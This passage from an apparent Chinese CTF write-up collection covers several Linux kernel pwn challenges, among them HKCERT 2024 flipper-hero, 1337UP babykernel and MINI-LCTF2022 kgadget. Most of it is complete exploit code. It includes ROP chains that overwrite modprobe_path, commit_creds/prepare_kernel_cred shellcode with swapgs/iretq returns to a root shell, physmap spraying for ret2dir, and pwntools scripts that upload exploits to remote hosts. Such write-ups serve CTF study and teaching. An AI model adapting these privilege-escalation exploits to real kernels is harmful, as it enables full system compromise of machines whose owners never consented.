        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

static void get_root_shell(){
    int uid = getuid();
    hex(uid);
    system("/bin/sh");
    //chmod("/flag",0777);
    syscall64(60,0);
}
static size_t shell_addr = &get_root_shell;

static void shellcode(){
    asm volatile (
        "xor rdi, rdi;"
        "mov rcx, prepare_kernel_cred;"
        "call rcx;"
        "mov rcx, commit_creds;"
        "call rcx;"
        // swapgs_restore_regs_and_return_to_usermode -- mov rdi,rsp
    );
    // restore_flags
    asm volatile (
        "nop;"
        "nop;"
        "push user_ss;"
        "push user_sp;"
        "push user_rflags;"
        "push user_cs;"
        "push shell_addr;"
        "swapgs;"
        "iretq;"
    );
}size_t sc_addr = &shellcode + 8;

void modprobe_rce(){
    system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /tmp/e1");
    system("chmod +x /tmp/e1");
    system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/e2");
    system("chmod +x /tmp/e2");
    system("/tmp/e2");      // sh: /tmp/e2: Permission denied
    system("/tmp/e2");      // ./tmp/e2: line 1: : not found
    system("cat /flag");
    system("cat /flag");
}


void doMain(){
    save_status();
    char procn[0x30] = "/dev/test";
    int fd = open(procn,2);

    uint8_t *ptr = malloc(0);
    memset(ptr, 0 ,0x1000);

    uint8_t pwd[] = "gtwYHamW4U2yQ9LQzfFJSncfHgFf5Pjc\x00";

    int i = 0;
    while (i<0x20)
        pwd[i++] ^= 0xF9;

    strncpy(ptr, pwd, 0x20);

    size_t show = 0xDEADBEEF;
    size_t edit = 0xFEEDFACE;

    ioctl(fd, show, ptr);

    i = 0x20;
    while (i<0x230)
        ptr[i++] ^= 0xF9;

    hexdump(ptr, 0x230);

    size_t *data = &ptr[0x20];

    size_t ko_base = data[0];
    size_t kernel_base = data[8] - 0x336d60 - 102;

    lss("ko_base", ko_base);
    lss("kernel_base", kernel_base);

    memset(ptr, 0 ,0x1000);
    strncpy(ptr, pwd, 0x20);

    size_t *ropchain = &ptr[0x20];
    i = 0;
    size_t modprobe_path_offset = 0x1864fc0;
    size_t pop_rdi =  kernel_base + 0xffffffff81090c80 - nokaslr_kernel_base;  // pop rdi; ret
    size_t pop_rsi =  kernel_base + 0xffffffff811cc553 - nokaslr_kernel_base;  // pop rsi; ret
    size_t mov_rsi =  kernel_base + 0x7c550;  // native_set_pte
    size_t swapgs_restore_regs_and_return_to_usermode = kernel_base + 0xc00ff0 + 0x36;
    // cat gadget.txt | grep " \[rdi\], rsi" |grep "ret;"

    char target[] = "/tmp/e1\x00";

    ropchain[i++] = pop_rdi;
    ropchain[i++] = kernel_base + modprobe_path_offset;
    ropchain[i++] = pop_rsi;
    ropchain[i++] = *(size_t*)target;
    ropchain[i++] = mov_rsi;
    ropchain[i++] = swapgs_restore_regs_and_return_to_usermode;
    ropchain[i++] = 0;
    ropchain[i++] = 0;
    ropchain[i++] = &modprobe_rce;
    ropchain[i++] = user_cs;
    ropchain[i++] = user_rflags;
    ropchain[i++] = user_sp;
    ropchain[i++] = user_ss;


    i = 0;
    while (i < 0x100)
        ((uint8_t *)ropchain)[i++] ^= 0xF9;

    ioctl(fd, edit, ptr);

}

extern void _start(){
    size_t env[0];
    environ = &env[4];
    doMain();
    syscall64(60,0);
}



问题及感想1

  • 有点时候会这样,参数对比上

image

  • nop 这里call 即可有助于分析

image

image

问题及感想2

  • ropper 找到地用不了?(注意gadget 是不是在可执行段)
1
2
3
4
5
6
➜  Kylin_Driver ropper --file ./vmlinux --nocolor > gadget.txt
➜  Kylin_Driver cat gadget.txt|grep ": mov qword ptr \[rdi\], rsi" |grep "ret"

0xffffffff830f8f30: mov qword ptr [rdi], rsi; mov dword ptr [rdx], eax; mov eax, 1; ret;
0xffffffff830a47ac: mov qword ptr [rdi], rsi; mov qword ptr [r9 - 8], rcx; ret;
0xffffffff830b39ea: mov qword ptr [rdi], rsi; ret;

image

  • native_set_pte​ 有一个 mov [rdi], rsi​, 这个 ropper 没找到
1
0xffffffffa0e7c550 <native_set_pte>: mov    QWORD PTR [rdi],rsi

flipper-hero

1
2024-11-09-HKCERT CTF 2024 (Qualifying Round)

1
2
nokaslr
任意地址内容异或

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
l = [1, 2, 4, 8, 0x10, 0x20, 0x40, 0x80]
MAX_DEPTH = len(l)
def f(src, dst, path, sd, depth, used):
    if depth > MAX_DEPTH:
        return None  # 超过最大递归深度时返回 None

    if src == dst:
        return path  # 返回成功的路径

    best_path = None
    for xor_value in l:
        if xor_value not in used:
            new_src = src ^ xor_value
            new_used = used.copy()
            new_used.add(xor_value)
            result = f(new_src, dst, path + [xor_value], sd ^ xor_value, depth + 1, new_used)
            if result:
                if best_path is None or len(result) < len(best_path):
                    best_path = result  # 更新最优路径
    return best_path  # 返回最优路径



# 示例:将字符串从 '/sbin/modprobe' 转换为 '/tmp/e1\x00'
s = list(b'/sbin/modprobe')
d = list(b'/home/ctf/e1\x00')

for i in range(len(d)):
    best_path = f(s[i], d[i], [], 0, 0, set())
    e = []
    print(f'me_buf.ptr = target+{i};');
    for x in best_path:
        print(f'''me_buf.idx = {l.index(x)};
ioctl(fd,0x13370001,&me_buf);
''')

exploit-c

  • exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
#define _GNU_SOURCE

#include "minilib.h"


void modprobe_rce(){
    system("echo -ne '#!/bin/sh\n/bin/chmod 777 /root/flag.txt\n' > /home/ctf/e1");
    system("chmod +x /home/ctf/e1");
    system("echo -ne '\\xff\\xff\\xff\\xff' > /home/ctf/e2");
    system("chmod +x /home/ctf/e2");
}

struct buf{
size_t ptr;
int idx;
};



int doMain(){
    size_t target = 0xffffffff82dd4940;

    int fd = open("/dev/flipper_hero",2);

    struct buf me_buf;

    //int xor_list
    // 0x01 0x02 0x04 0x08 0x10 0x20 0x40 0x80
    me_buf.ptr = target+1;
    me_buf.idx = 0;
    ioctl(fd,0x13370001,&me_buf);

    me_buf.idx = 1;
    ioctl(fd,0x13370001,&me_buf);

    me_buf.idx = 3;
    ioctl(fd,0x13370001,&me_buf);

    me_buf.idx = 4;
    ioctl(fd,0x13370001,&me_buf);

    me_buf.ptr = target+2;
    me_buf.idx = 0;
    ioctl(fd,0x13370001,&me_buf);

    me_buf.idx = 2;
    ioctl(fd,0x13370001,&me_buf);

    me_buf.idx = 3;
    ioctl(fd,0x13370001,&me_buf);

    me_buf.ptr = target+3;
    me_buf.idx = 2;
    ioctl(fd,0x13370001,&me_buf);

    me_buf.ptr = target+4;
    me_buf.idx = 0;
    ioctl(fd,0x13370001,&me_buf);

    me_buf.idx = 1;
    ioctl(fd,0x13370001,&me_buf);

    me_buf.idx = 3;
    ioctl(fd,0x13370001,&me_buf);

    me_buf.ptr = target+5;
    me_buf.ptr = target+6;
    me_buf.idx = 1;
    ioctl(fd,0x13370001,&me_buf);

    me_buf.idx = 2;
    ioctl(fd,0x13370001,&me_buf);

    me_buf.idx = 3;
    ioctl(fd,0x13370001,&me_buf);

    me_buf.ptr = target+7;
    me_buf.idx = 0;
    ioctl(fd,0x13370001,&me_buf);

    me_buf.idx = 1;
    ioctl(fd,0x13370001,&me_buf);

    me_buf.idx = 3;
    ioctl(fd,0x13370001,&me_buf);

    me_buf.idx = 4;
    ioctl(fd,0x13370001,&me_buf);

    me_buf.ptr = target+8;
    me_buf.idx = 1;
    ioctl(fd,0x13370001,&me_buf);

    me_buf.ptr = target+9;
    me_buf.idx = 0;
    ioctl(fd,0x13370001,&me_buf);

    me_buf.idx = 1;
    ioctl(fd,0x13370001,&me_buf);

    me_buf.idx = 2;
    ioctl(fd,0x13370001,&me_buf);

    me_buf.idx = 3;
    ioctl(fd,0x13370001,&me_buf);

    me_buf.idx = 4;
    ioctl(fd,0x13370001,&me_buf);

    me_buf.idx = 6;
    ioctl(fd,0x13370001,&me_buf);

    me_buf.ptr = target+10;
    me_buf.idx = 0;
    ioctl(fd,0x13370001,&me_buf);

    me_buf.idx = 1;
    ioctl(fd,0x13370001,&me_buf);

    me_buf.idx = 2;
    ioctl(fd,0x13370001,&me_buf);

    me_buf.idx = 4;
    ioctl(fd,0x13370001,&me_buf);

    me_buf.ptr = target+11;
    me_buf.idx = 1;
    ioctl(fd,0x13370001,&me_buf);

    me_buf.idx = 2;
    ioctl(fd,0x13370001,&me_buf);

    me_buf.idx = 3;
    ioctl(fd,0x13370001,&me_buf);

    me_buf.idx = 4;
    ioctl(fd,0x13370001,&me_buf);

    me_buf.idx = 6;
    ioctl(fd,0x13370001,&me_buf);

    me_buf.ptr = target+12;
    me_buf.idx = 1;
    ioctl(fd,0x13370001,&me_buf);

    me_buf.idx = 5;
    ioctl(fd,0x13370001,&me_buf);

    me_buf.idx = 6;
    ioctl(fd,0x13370001,&me_buf);

    modprobe_rce();
    return 0;
}

extern void _start(){
    doMain();
    syscall64(60,0);
}

exploit-remte

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
cat remote_exp.py 
from pwn import *
from base64 import b64encode

context.log_level = 'debug'

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)
lss     = lambda s                  :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))

cmd = './run.sh'
#io = process(cmd.split(' '))
#io = remote('192.168.100.23',32773)
io = remote("c51-flipper-hero-t100484-ktcenglta6bbwnizrsnwexgl.hkcert24.pwnable.hk", 1337, ssl=True)
ru('/ $ ')
sl('id')
ru('/ $ ')
#ru('id=1000 gid=1000 groups=1000\r\n')


exp = b64encode(open('exploit','rb').read()).decode()
line_length = 76 * 2
explist = [exp[i:i+line_length] for i in range(0, len(exp), line_length)]


for i in explist:
    cmd = f'echo -n {i}| base64 -d >> /home/ctf/exp'
    #print(cmd)
    sl(cmd)
    ru('/ $ ')


sl('id')
#ru('id=1000 gid=1000 groups=1000\r\n')
ru('/ $ ')


while(1):
    cmd =input(">>> ")
    print(cmd.encode())
    s(cmd)
    data = b''
    while(1):
        d = io.recv(timeout=1)
        if d==b'':
            break
        data += d
    try:
        print(data.decode().replace('\r',''))
    except:
        print(data)
    #print(ru('~ $ ').decode().replace('\r',''))


io.interactive()

babykernel

1
2024-11-16-1337UP LIVE CTF

保护

  • 启动参数 kaslr 保护
1
2
3
4
5
6
7
8
qemu-system-x86_64 \
    -m 64M \
    -kernel ./bzImage \
    -initrd ./rootfs.cpio \
    -append "console=ttyS0 oops=panic panic=1 quiet loglevel=3 kpti=off kaslr" \
    -nographic \
    -no-reboot \
    -monitor /dev/null

  • init
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/bin/sh

export PS1='\[\033[01;31m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '

[ -d /dev ] || mkdir -m 0755 /dev
[ -d /sys ] || mkdir -m 0755 /sys
[ -d /proc ] || mkdir -m 0755 /proc
[ -d /etc ] || mkdir -m 0755 /etc

echo 'root:x:0:0:root:/root:/bin/sh' > /etc/passwd
echo 'ctf:x:1337:1337:ctf:/home/ctf:/bin/sh' >> /etc/passwd
echo 'root:x:0:' > /etc/group
echo 'ctf:x:1337:' >> /etc/group

chmod 644 /etc/passwd
chmod 644 /etc/group

chown -R root:root /
chmod 700 -R /root
chmod 700 -R /baby.ko
chown -R ctf:ctf /home/ctf
chmod 755 /home/ctf
chmod 755 /dev

hostname intigriti

mount -t sysfs -o nodev,noexec,nosuid sysfs /sys
mount -t devtmpfs -o nosuid,mode=0755 udev /dev
mount -t proc -o nodev,noexec,nosuid proc /proc

echo 2 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict # /不能使用 dmesg 命令

FLAG=$(head -n 100 /dev/random | sha256sum | awk '{printf $1}')
mv /flag /root/$FLAG
chmod 0400 /root/$FLAG

insmod /baby.ko
mknod -m 666 /dev/baby c $(cat /proc/devices | grep baby | awk '{print $1}') 0

echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n" 
echo "[ Baby kernel - Intigriti ]"

cd /home/ctf
setsid cttyhack setuidgid 1337 sh

umount /proc 
umount /sys
poweroff -d 0 -n -f

ko分析

  • 主要就连个功能 read 和 write,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
size_t __fastcall baby_read(__int64 a1, void *a2, size_t a3)
{
  _QWORD src[51]; // [rsp+20h] [rbp-198h] BYREF

  src[50] = __readgsqword(0x28u);
  memset(src, 0, 400);
  if ( a3 > 0x190 ) // 只是判断是不是大于 0x190 ,但是没有做出限制
    printk(&unk_3F8);
  memcpy(a2, src, a3);
  return a3;
}


size_t __fastcall baby_write(__int64 a1, const void *a2, size_t a3)
{
  _QWORD dest[51]; // [rsp+20h] [rbp-198h] BYREF

  dest[50] = __readgsqword(0x28u);
  memset(dest, 0, 400);
  if ( a3 > 0x190 )
    printk(&unk_3F8);
  memcpy(dest, a2, a3);
  return a3;
}

  • 通过 read 从 stack 泄露 kernel 地址 和 canary
  • 再通过 write 进行 kernl 栈溢出,ROP

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
#include "minilib.h"

char flag[0x50] = {0};

size_t nokaslr_kernel_base  = 0xffffffff81000000;
size_t commit_creds         = 0xffffffff810c5010;
size_t prepare_kernel_cred  = 0xffffffff810c5270;


size_t user_cs, user_ss, user_rflags, user_sp;
void save_status(){
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

static void get_root_shell(){
    int uid = getuid();
    hex(uid);
    system("/bin/sh");
    //chmod("/flag",0777);
    syscall64(60,0);
}
static size_t shell_addr = &get_root_shell;

static void shellcode(){
    asm volatile (
        "xor rdi, rdi;"
        "mov rcx, prepare_kernel_cred;"
        "call rcx;"
        "mov rcx, commit_creds;"
        "call rcx;"
        // swapgs_restore_regs_and_return_to_usermode -- mov rdi,rsp
    );
    // restore_flags
    asm volatile (
        "nop;"
        "nop;"
        "push user_ss;"
        "push user_sp;"
        "push user_rflags;"
        "push user_cs;"
        "push shell_addr;"
        "swapgs;"
        "iretq;"
    );
}size_t sc_addr = &shellcode + 8;

void modprobe_rce(){
    system("echo -ne '#!/bin/sh\n/bin/chmod -R 777 /root\n' > /home/ctf/e1");
    system("chmod +x /home/ctf/e1");
    system("echo -ne '\\xff\\xff\\xff\\xff' > /home/ctf/e2");
    system("chmod +x /home/ctf/e2");
}


void doMain(){
    save_status();
    char procn[0x30] = "/dev/baby";
    int fd = open(procn,2);
    size_t buf[0x300/8];



    read(fd,buf,0x200);
  
    hexdump(buf,0x300);

    size_t canary = buf[0x190/8];
    size_t kernel_base = buf[0x198/8] - 0x1ca727;

    lss("kernel_base", kernel_base);
    lss("canary", canary);

    size_t pop_rdi = kernel_base + (0xffffffff8100279a - nokaslr_kernel_base); // pop rdi; ret;
    size_t pop_rsi = kernel_base + (0xffffffff81001b15 - nokaslr_kernel_base); // pop rsi; ret;
    size_t mov_rsi = kernel_base + (0xffffffff8117b6b7 - nokaslr_kernel_base); //0xffffffff8117b6b7: mov qword ptr [rsi], rdi; ret;;
    size_t modprobe_path = kernel_base + (0xffffffff82444a40 - nokaslr_kernel_base);
    size_t swapgs_restore_regs_and_return_to_usermode = kernel_base + (0xffffffff81c00aa0 - nokaslr_kernel_base);


    size_t ropchain[0x250/8];

    char target1[] = "/home/ct";
    char target2[] = "f/e1\x00";
    int i = 0x190/8;
    ropchain[i++] = canary;

    ropchain[i++] = pop_rsi;
    ropchain[i++] = modprobe_path;
    ropchain[i++] = pop_rdi;
    ropchain[i++] = *(size_t*)target1;
    ropchain[i++] = mov_rsi;

    ropchain[i++] = pop_rsi;
    ropchain[i++] = modprobe_path+8;
    ropchain[i++] = pop_rdi;
    ropchain[i++] = *(size_t*)target2;
    ropchain[i++] = mov_rsi;

    ropchain[i++] = swapgs_restore_regs_and_return_to_usermode;
    ropchain[i++] = 0;
    ropchain[i++] = 0;
    ropchain[i++] = &modprobe_rce;
    ropchain[i++] = user_cs;
    ropchain[i++] = user_rflags;
    ropchain[i++] = user_sp;
    ropchain[i++] = user_ss;

    write(fd,ropchain,0x250);

}

extern void _start(){
    size_t env[0];
    environ = &env[4];
    doMain();
    syscall64(60,0);
}

  • 远程
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
from base64 import b64encode

context.log_level = 'debug'

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)
lss     = lambda s                  :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))

cmd = './run.sh'
#io = process(cmd.split(' '))
#io = remote('192.168.100.23',32773)
io = remote('babykernel.ctf.intigriti.io',1343)
ru('$ ')
sl('id')
ru('$ ')
#ru('id=1000 gid=1000 groups=1000\r\n')


exp = b64encode(open('exploit','rb').read()).decode()
line_length = 76 * 3
explist = [exp[i:i+line_length] for i in range(0, len(exp), line_length)]


for i in explist:
    cmd = f'echo -n {i}| base64 -d >> /home/ctf/exp'
    #print(cmd)
    sl(cmd)
    ru('$ ')


sl('id')
#ru('id=1000 gid=1000 groups=1000\r\n')
ru('$ ')


while(1):
    cmd =input(">>> ")
    print(cmd.encode())
    s(cmd)
    data = b''
    while(1):
        d = io.recv(timeout=1)
        if d==b'':
            break
        data += d
    try:
        print(data.decode().replace('\r',''))
    except:
        print(data)
    #print(ru('~ $ ').decode().replace('\r',''))


io.interactive()

image

2024网鼎杯-半决赛-系统内核漏洞挖掘

附件

  • server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import pad, unpad
import os
import subprocess
import base64

def readuntil(process, until_text):
    while True:
        output = readline(process)
        if any(substring in output for substring in until_text):
            break
          
    return output

def readline(process):
    return process.stdout.readline()

def process_qemu(code, start_script):
    process = subprocess.Popen([start_script], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, bufsize=0)
  
    readuntil(process, ["Input ur b64_code: \n", "Power down"])
  
    process.stdin.write(code+"\n")
  
    result = readuntil(process, ["result", "Power down"])
  
    if "result" in result:
        return result.split("result: ", 1)[1]
    else:
        return "dummydummydummy\n"
  
if __name__ == '__main__':
    print("Welcome to Generic Linux kernel shellcode Challenge")
    code = input("Input ur b64_code: \n")
  
    print("Virtual 1 Working......")
  
    os.chdir("./vir1")
    key = process_qemu(code, "./vir1_start.sh").replace('\n', '').encode("ascii")
    print("Virtual 1 Finished")
  
    print("Virtual 2 Working......")
    os.chdir("../vir2")
    cipher_b64 = process_qemu(code, "./vir2_start.sh").replace('\n', '').encode("ascii")
    print("Virtual 2 Finished")
  
    print("Calc ur result......")
    print('cipher: ',cipher_b64)
    print('key: ', key)
    if cipher_b64.find(b"dummy")!=-1 or key.find(b"dummy")!=-1:
        print("Bad kernel shellcode")
    else:
        cipher_raw = base64.b64decode(cipher_b64)
        cipher = AES.new(key, AES.MODE_ECB)
        decrypted = cipher.decrypt(cipher_raw).rstrip(b'\x00').decode("ascii")
      
        print("Nice kernel shellcode")
        print(decrypted)

image

  • 大概就是用一个shellcode(base64编码) 去打 两个 kernl

  • 启动server.py 后执行的程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+8h] [rbp-18h]
  int v5; // [rsp+Ch] [rbp-14h]
  int v6; // [rsp+10h] [rbp-10h]
  int v7; // [rsp+14h] [rbp-Ch]
  int fd; // [rsp+18h] [rbp-8h]
  int v9; // [rsp+1Ch] [rbp-4h]

  puts("Input ur b64_code: ");
  v9 = read(0, &code, 0x1000uLL);
  fd = open("/tmp/b64_code", 66);
  write(fd, &code, v9);
  close(fd);
  system("chmod 622 /tmp/b64_code && base64 -d /tmp/b64_code > /tmp/code");
  v7 = open("/tmp/code", 0);
  v6 = read(v7, &code, 0x1000uLL);
  close(v7);
  v5 = open("/proc/kernel_shell", 0);
  read(v5, &code, v6);		// 内核shellcode 提权
  v4 = open("/flag", 0); // root 用户可读
  if ( v4 < 0 )
  {
    puts("result: dummydummydummy");
    exit(-1);
  }
  read(v4, flag, 0x100uLL);
  printf("result: ");
  puts(flag);
  return 0;
}

  • vir1 flag 文件存着 aes key
  • vir2 flag 文件存着 aes 密文

其他信息

kernel 均在 6.x 以上,

  • 启动命令, 开了 kaslr 地址随机化,
1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/bash

exec qemu-system-x86_64 \
	-m 64M \
	-kernel ./bzImage \
	-initrd ./rootfs.cpio \
	-append "console=ttyS0 kaslr quiet" \
	-cpu kvm64,+smap,smep\
	-smp cores=1,threads=1 \
	-nographic \
	-no-reboot

思考

  • 整体不难,主要是kernel 题做得少,经验不足比赛中没做出来
  • 大部分思路在这

image

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *

context.arch = 'amd64'


sc = '''
mov rbx, qword ptr gs:[0x2a100]
cmp rbx,0   /*vir2 取到是空的,由此用来判断是哪台靶机,执行不同的shellcode*/
je v2
add rbx,0x700
mov rdi,[rbx]
mov qword ptr [rdi + 0x04],0
mov qword ptr [rdi + 0x0C],0
mov qword ptr [rdi + 0x14],0
mov qword ptr [rdi + 0x1C],0
sub rbx, 0x38
mov rbx, [rbx]
sub rbx, 0x118c00
add rbx, 0x800092 /* return */
push rbx
ret

v2:
mov rbx, qword ptr gs:[0x2a7c0]
add rbx,0x700
mov rdi,[rbx]
mov qword ptr [rdi + 0x04],0
mov qword ptr [rdi + 0x0C],0
mov qword ptr [rdi + 0x14],0
mov qword ptr [rdi + 0x1C],0
sub rbx, 0x38
mov rbx, [rbx]
sub rbx, 0x136f60
add rbx, 0xa00134 /* return */
push rbx
ret
'''


sc = asm(sc)

print(b64e(sc))

MINI-LCTF2022-kgadget–ret2dir

分析题目

  • nokaslr
1
2
3
4
5
6
7
8
9
10
11
12
13
qemu-system-x86_64 \
	-m 256M \
	-cpu kvm64,+smep,+smap \
	-smp cores=2,threads=2 \
	-kernel bzImage \
	-initrd ./rootfs.cpio \
	-nographic \
	-monitor /dev/null \
	-snapshot \
	-append "console=ttyS0 nokaslr pti=on quiet oops=panic panic=1" \
	-no-reboot \
	-s

param​ 传入一个指针,后面后 call 这个指针里存的地址

image

调试分析

  • 在用户态构造大量的 page, 然后可以在 kernel direct mapping​ 找到我们的数据

image

  • 关键代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
void physmap_spary()
{
        int i = 0, j = 0;
        size_t* rop;
        for (i = 0; i < 15000; i++)
        {
                rop = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
                for (j = 0; j < 4096/8; j++) rop[j] = 0xbeefbeef;
        }
}


......

__asm__(
        "mov r15, 0x1111;"
        "mov r14, 0x2222;"
        "mov r13, 0x3333;"
        "mov r12, 0x4444;"
        "mov r11, 0x5555;"
        "mov r10, 0x6666;"
        "mov r9,  0x7777;"
        "mov r8,  0x8888;"
        "mov rcx, 0x9999;"
        "mov rbx, 0xaaaa;"
        "mov rdx, 0xffff888000000000+0x6000000;" // 这里
        "mov rsi, 0x1BF52;"
        "mov rdi, fd;"
        "mov rax, 0x10;"
        "syscall;"
        );

仅仅控制 一个 RIP 是不能够 达到提权的的,我们需要利用现有的信息

image

  • r9 和 r8 寄存器的值

image

如果执行的是 add rsp,0xc0, 然后 0x7777 处是 pop rsp;ret 0x8888 是新的stack 那岂不是可以直接 ROP 了

exploit-text

  • 测试

image

  • exp.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
#include "minilib.h"

char flag[0x50] = {0};

int fd;

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status(){
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

static void get_root_shell(){
    int uid = getuid();
    hex(uid);
    system("/bin/sh");
    //chmod("/flag",0777);
    syscall64(60,0);
}
static size_t shell_addr = &get_root_shell;

static void shellcode(){
    asm volatile (
        "xor rdi, rdi;"
        "mov rcx, prepare_kernel_cred;"
        "call rcx;"
        "mov rcx, commit_creds;"
        "call rcx;"
        // swapgs_restore_regs_and_return_to_usermode -- mov rdi,rsp
    );
    // restore_flags
    asm volatile (
        "nop;"
        "nop;"
        "push user_ss;"
        "push user_sp;"
        "push user_rflags;"
        "push user_cs;"
        "push shell_addr;"
        "swapgs;"
        "iretq;"
    );
}size_t sc_addr = &shellcode + 8;

void modprobe_rce(){
    system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /tmp/e1");
    system("chmod +x /tmp/e1");
    system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/e2");
    system("chmod +x /tmp/e2");
    system("/tmp/e2");      // sh: /tmp/e2: Permission denied
    system("/tmp/e2");      // ./tmp/e2: line 1: : not found
    system("cat /flag");
    system("cat /flag");
}


size_t pop_rsp_ret  = 0xffffffff811483d0;
size_t add_rsp_0xC0 = 0xffffffff81488561; // cat gadget.txt |grep "add rsp, 0xa8", pop x N;ret
void physmap_spary()
{
        int i = 0, j = 0;
        size_t* rop;
        for (i = 0; i < 15000; i++)
        {
                rop = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
                int j = 0;
                rop[j++] = add_rsp_0xC0;
                rop[j++] = 0x11;
                rop[j++] = 0x22;
                rop[j++] = 0x33;
                rop[j++] = 0x44;
                rop[j++] = 0x55;
                rop[j++] = 0x66;
                rop[j++] = 0x77;
        }
}


void doMain(){
    save_status();
    char procn[0x30] = "/dev/kgadget";
    fd = open(procn,2);

    physmap_spary(); 
    __asm__(
        "mov r15, 0x1111;"
        "mov r14, 0x2222;"
        "mov r13, 0x3333;"
        "mov r12, 0x4444;"
        "mov r11, 0x5555;"
        "mov r10, 0x6666;"
        "mov r9,  pop_rsp_ret;"
        "mov r8,  0xffff888000000000 + 0x6000000 + 8;"
        "mov rcx, 0x9999;"
        "mov rbx, 0xaaaa;"
        "mov rdx, 0xffff888000000000+0x6000000;"
        "mov rsi, 0x1BF52;"
        "mov rdi, fd;"
